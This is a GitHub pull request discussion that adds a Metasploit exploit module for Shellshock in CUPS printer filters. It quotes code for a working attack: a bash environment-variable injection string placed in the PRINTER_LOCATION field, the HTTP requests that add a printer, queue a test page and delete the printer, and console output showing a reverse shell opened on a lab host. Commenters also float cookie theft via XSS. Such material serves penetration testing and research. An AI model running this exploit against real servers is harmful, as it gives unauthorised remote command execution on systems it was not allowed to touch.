Add exploit module for CUPS shellshock #4050

Merged
merged 4 commits into from Oct 28, 2014

Projects

None yet

6 participants

@bcoles
Contributor
bcoles commented Oct 19, 2014

Add CUPS Filter Bash Environment Variable Code Injection exploit module.

The PRINTER_INFO and PRINTER_LOCATION printer properties (set when adding a printer to CUPS) are exported to environment variables when processing a print job. As such, it is possible for an authenticated CUPS user to add a printer with a shellshock payload in either of these properties then trigger the payload by queuing a print job.

Tested

  • CUPS version 1.4.3 on Ubuntu 10.04 (x86)
  • CUPS version 1.5.3 on Debian 7 (x64)
  • CUPS version 1.6.2 on Fedora 19 (x64)
  • CUPS version 1.7.2 on Ubuntu 14.04 (x64)

Check

msf exploit(cups_bash_env_exec) > set verbose false
verbose => false
msf exploit(cups_bash_env_exec) > check
[*] 172.16.251.133:631 - The target service is running, but could not be validated.
msf exploit(cups_bash_env_exec) > set verbose true
verbose => true
msf exploit(cups_bash_env_exec) > check
[*] 172.16.251.133:631 - Adding new printer 'NFycDodyl2r'
[*] 172.16.251.133:631 - Found CUPS version 1.7
[+] 172.16.251.133:631 - Added printer successfully
[*] 172.16.251.133:631 - Deleting printer 'NFycDodyl2r'
[*] 172.16.251.133:631 - The target service is running, but could not be validated.

Run

msf exploit(cups_bash_env_exec) > set verbose true
verbose => true
msf exploit(cups_shellshock) > run

[*] Started reverse handler on 172.16.251.132:4444 
[*] 172.16.251.133:631 - Adding new printer 'XLuCUwtjZkSVyw'
[+] 172.16.251.133:631 - Added printer successfully
[*] 172.16.251.133:631 - Adding test page to printer queue
[+] 172.16.251.133:631 - Added test page to printer queue
[*] 172.16.251.133:631 - Deleting printer 'XLuCUwtjZkSVyw'
[*] Command shell session 1 opened (172.16.251.132:4444 -> 172.16.251.133:56720) at 2014-10-26 02:10:51 -0400
[*] 172.16.251.133:631 - Deleted printer 'XLuCUwtjZkSVyw' successfully

id
uid=7(lp) gid=7(lp) groups=7(lp)
@wvu-r7 wvu-r7 self-assigned this Oct 19, 2014
@kernelsmith kernelsmith commented on an outdated diff Oct 20, 2014
modules/exploits/multi/http/cups_bash_env_exec.rb
+ res = create_printer(printer_name)
+ if !res
+ print_error("#{peer} - Request failed")
+ return
+ elsif res.code == 426
+ print_error("#{peer} - Authentication failed")
+ return
+ elsif res.body =~ /Set Default Options for #{printer_name}/
+ print_good("#{peer} - Created printer successfully")
+ end
+
+ # Request a printer test page.
+ # The print job triggers execution of the bash filter
+ # which executes the payload in the env vars.
+ res = print_test_page(printer_name)
+ if !res || res.code != 200
@kernelsmith
kernelsmith Oct 20, 2014 Contributor

would this be clearer (assuming I get the logic right) if it were

unless res && res.code == 200
  return print_error(blah)
end
@kernelsmith kernelsmith commented on an outdated diff Oct 20, 2014
modules/exploits/multi/http/cups_bash_env_exec.rb
+
+ # Request a printer test page.
+ # The print job triggers execution of the bash filter
+ # which executes the payload in the env vars.
+ res = print_test_page(printer_name)
+ if !res || res.code != 200
+ print_error("#{peer} - Request failed")
+ return
+ end
+ if res.body =~ /Test page sent; job ID is/
+ print_status "#{peer} - Test page sent successfully"
+ end
+
+ # Delete the printer
+ res = delete_printer(printer_name)
+ if !res || res.code != 200
@kernelsmith
kernelsmith Oct 20, 2014 Contributor

if that last comment applied, then it would apply here too

@kernelsmith kernelsmith and 1 other commented on an outdated diff Oct 20, 2014
modules/exploits/multi/http/cups_bash_env_exec.rb
+
+ # Delete the printer
+ res = delete_printer(printer_name)
+ if !res || res.code != 200
+ print_error("#{peer} - Request failed")
+ return
+ end
+ if res.body =~ /has been deleted successfully/
+ print_status "#{peer} - Deleted printer '#{printer_name}' successfully"
+ end
+ end
+
+ #
+ # Create a printer
+ #
+ def create_printer printer_name
@kernelsmith
kernelsmith Oct 20, 2014 Contributor

I think the Rails people like these, and I'm not sure if we have stance on it, but personally, not a fan of leaving off the parens on method defs unless there are 0 args. I would recommend

def create_printer(printer_name)
@kernelsmith kernelsmith commented on an outdated diff Oct 20, 2014
modules/exploits/multi/http/cups_bash_env_exec.rb
+*%
+EOF
+
+ shock = "() { :;}; /bin/bash -c \"#{payload.raw} &\""
+
+ pd = Rex::MIME::Message.new
+ pd.add_part(ppd_file, "application/octet-stream", nil, "form-data; name=\"PPD_FILE\"; filename=\"#{rand_text_alphanumeric(10)}.ppd\"")
+ pd.add_part("#{@cookie}", nil, nil, "form-data; name=\"org.cups.sid\"")
+ pd.add_part("add-printer", nil, nil, "form-data; name=\"OP\"")
+ pd.add_part("#{printer_name}", nil, nil, "form-data; name=\"printer_name\"")
+ pd.add_part("#{printer_name}", nil, nil, "form-data; name=\"PRINTER_NAME\"")
+ pd.add_part("", nil, nil, "form-data; name=\"PRINTER_INFO\"") # injectable
+ pd.add_part("#{shock}", nil, nil, "form-data; name=\"PRINTER_LOCATION\"") # injectable
+ pd.add_part("file:///dev/null", nil, nil, "form-data; name=\"DEVICE_URI\"")
+ pd.add_part('', nil, nil, "form-data; name=\"PRINTER_IS_SHARED\"")
+ pd.add_part('262144', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"") # default value
@kernelsmith
kernelsmith Oct 20, 2014 Contributor

you could probably save yourself a ton of escaping by using the %Q|string| string literal syntax.

@kernelsmith kernelsmith commented on an outdated diff Oct 20, 2014
modules/exploits/multi/http/cups_bash_env_exec.rb
+ pd.add_part('', nil, nil, "form-data; name=\"PRINTER_IS_SHARED\"")
+ pd.add_part('262144', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"") # default value
+
+ data = pd.to_s
+ data.strip!
+
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'admin'),
+ 'ctype' => "multipart/form-data; boundary=#{pd.bound}",
+ 'data' => data,
+ 'cookie' => "org.cups.sid=#{@cookie};",
+ 'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
+ })
+
+ return res
@kernelsmith
kernelsmith Oct 20, 2014 Contributor

you can remove this return res line. Since res is the last thing evaluated in the method, it will get returned by default

@kernelsmith kernelsmith commented on an outdated diff Oct 20, 2014
modules/exploits/multi/http/cups_bash_env_exec.rb
+ #
+ def print_test_page printer_name
+ print_status "#{peer} - Requesting printer test page"
+ res = send_request_cgi(
+ {
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path,'printers',printer_name),
+ 'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
+ 'cookie' => "org.cups.sid=#{@cookie}",
+ 'vars_post' => {
+ 'org.cups.sid' => @cookie,
+ 'OP' => 'print-test-page'
+ }
+ }
+ )
+ return res
@kernelsmith
kernelsmith Oct 20, 2014 Contributor

same here, delete return res
actually, you can remove the res = as well since you don't need to assign it to a var anymore

@kernelsmith kernelsmith commented on an outdated diff Oct 20, 2014
modules/exploits/multi/http/cups_bash_env_exec.rb
+ def delete_printer printer_name
+ res = send_request_cgi(
+ {
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path,'admin'),
+ 'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
+ 'cookie' => "org.cups.sid=#{@cookie}",
+ 'vars_post' => {
+ 'org.cups.sid' => @cookie,
+ 'OP' => 'delete-printer',
+ 'printer_name' => printer_name,
+ 'confirm' => 'Delete Printer'
+ }
+ }
+ )
+ return res
@kernelsmith
kernelsmith Oct 20, 2014 Contributor

same here, remove return res and the res = part, just leave:

def delete_printer(printer_name)
  send_request_cgi(
    {
      'method' => 'POST',
      # etc
    }
  )
end
@kernelsmith
Contributor

Cool submission, thanks!

@mubix
Contributor
mubix commented Oct 20, 2014

Has anyone tested against the OSX version of CUPS?

@jvennix-r7
Contributor

Nice. This was the first thing I looked at, since i knew the http server in cups passes the request through env variables (but uses posix spawn process or execve so I stopped looking). Good idea on creating a printer.

If you know (or want to try a dictionary attack on) the username/password you could also serve this exploit to a browser to run against the loopback. There is no csrf token that i can see, besides the sid, which is also stored as an insecure cookie: document.cookie #=> "org.cups.sid=dc21b88116995498a27666a486674c30", so you would be able to just XHR all these requests.

@jvennix-r7
Contributor

Err ignore that ^ this wouldn't work in a browser, not sure what I was thinking, you'd have to steal that cookie and put it in a separate request parameter :)

@bcoles
Contributor
bcoles commented Oct 26, 2014

554935e adds

  • check() method;
  • support for CUPS version 1.5.3;
  • support for CVE-2014-6278;
  • @kernelsmith's suggestions
@wvu-r7 wvu-r7 assigned kernelsmith and unassigned wvu-r7 Oct 27, 2014
@bcoles

Added media settings. CUPS 1.5.3 requires valid media settings when parsing the PPD file.

@bcoles
Contributor
bcoles commented Oct 28, 2014

@jvennix-r7 you could steal the cookie with XSS in CUPS 1.6.4 if the user is authenticated.

@wvu-r7 wvu-r7 assigned wvu-r7 and unassigned kernelsmith Oct 28, 2014
@wvu-r7
Contributor
wvu-r7 commented Oct 28, 2014

@bcoles: Tell me when you want this landed, and we can do that. It's kinda sorta a big thing. ;) You can PR further changes afterward. Sound good?

@bcoles
Contributor
bcoles commented Oct 28, 2014

@wvu-r7 I've removed CVE-2014-6278 for now. Ready to land.

@wvu-r7
Contributor
wvu-r7 commented Oct 28, 2014

What's wrong with CVE-2014-6278? :P

@wvu-r7
Contributor
wvu-r7 commented Oct 28, 2014

Corresponded via e-mail. CVE-2014-6278 support is unreliable. This looks good to go. Thanks, @bcoles!

P.S. Thanks to @kernelsmith for the awesome review. :)

@wvu-r7 wvu-r7 added a commit to wvu-r7/metasploit-framework that referenced this pull request Oct 28, 2014
@wvu-r7 wvu-r7 Land #4050, CUPS Shellshock
Bashbleeded!!!!!!!!!!!
3de5c43
@wvu-r7 wvu-r7 merged commit 78b199f into rapid7:master Oct 28, 2014

1 check failed

continuous-integration/travis-ci The Travis CI build failed
Details
@bcoles
Contributor
bcoles commented Oct 28, 2014

@wvu-r7 I removed CVE-2014-6278 as the payload was broken.

I've added a working payload for CVE-2014-6278 in #4093.

CVE-2014-6278 appeared unreliable as it doesn't work on older versions of bash prior to ~4.2.

GNU bash, version 4.1.5(1)-release (i486-pc-linux-gnu) on Ubuntu appears safe.

@wvu-r7
Contributor
wvu-r7 commented Oct 28, 2014

@bcoles: Ah, that's what you meant by unreliable. That's why we used OptEnum. :)

From http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html:

The test case works as-is with bash 4.2 and 4.3, but not with more ancient releases; this is probably related to changes introduced few years ago in bash 4.2 patch level 12 (xparse_dolparen()), but I have not investigated if earlier versions are patently not vulnerable or simply require different syntax.

FWIW, CVE-2014-6271 works on one of my test boxes, but CVE-2014-6278 doesn't work. Same reason.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment